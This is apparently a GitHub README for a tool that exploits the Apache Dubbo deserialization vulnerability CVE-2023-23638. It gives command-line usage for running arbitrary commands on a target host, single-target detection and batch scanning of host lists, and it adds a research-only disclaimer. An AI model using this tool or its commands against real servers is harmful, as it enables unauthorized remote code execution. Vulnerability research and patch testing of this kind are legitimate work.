yyhylh/apache-dubbo-cve-2023-23638-expApache Dubbo (CVE-2023-23638)漏洞利用的工程化实践
An engineering practice for exploiting Apache Dubbo (CVE-2023-23638), covering the entire process from service discovery to exploitation and echo in Dubbo 3.x. This tool is for research and learning purposes only. Contributions and suggestions are welcome.
This tool supports the full exploitation of CVE-2023-23638 in Dubbo 3.x, covering service discovery, exploitation, and echo. It can also be used with Dubbo 2.x, but requires manual input of service name, method name, etc. I have written two analysis articles on this vulnerability:
This tool is intended for learning purposes only and does not address many practical issues, such as:
Will continue to update
This project will no longer be updated. A more comprehensive scanning and exploitation tool for Dubbo will be open-sourced in another project later. Stay tuned!
Thanks to y4tacker for sharing the Fastjson native deserialization technique.
Single URL Exploitation
java -jar CVE-2023-23638.jar TARGET_IP TARGET_PORT COMMAND CHARSET(default UTF-8)
e.g.:
java -jar CVE-2023-23638.jar 127.0.0.1 20880 whoami
Single URL Non-Destructive Detection
java -jar CVE-2023-23638.jar -s TARGET_IP TARGET_PORT
e.g.:
java -jar CVE-2023-23638.jar -s 127.0.0.1 20880
Batch Detection
1.txt:
127.0.0.1:20880
192.168.1.1:20880
java -jar CVE-2023-23638.jar -f FILE_PATH
e.g.:
java -jar CVE-2023-23638.jar -f 1.txt
Inject Bytecode
Command Execution
This tool is intended only for vulnerability research and learning. If you need to test its functionality, please set up your own target environment. When using this tool for detection, you must ensure that your actions comply with local laws and regulations and that you have obtained sufficient authorization. Do not scan unauthorized targets. If you engage in any illegal activities while using this tool, you shall bear the corresponding consequences. We will not assume any legal or joint liability.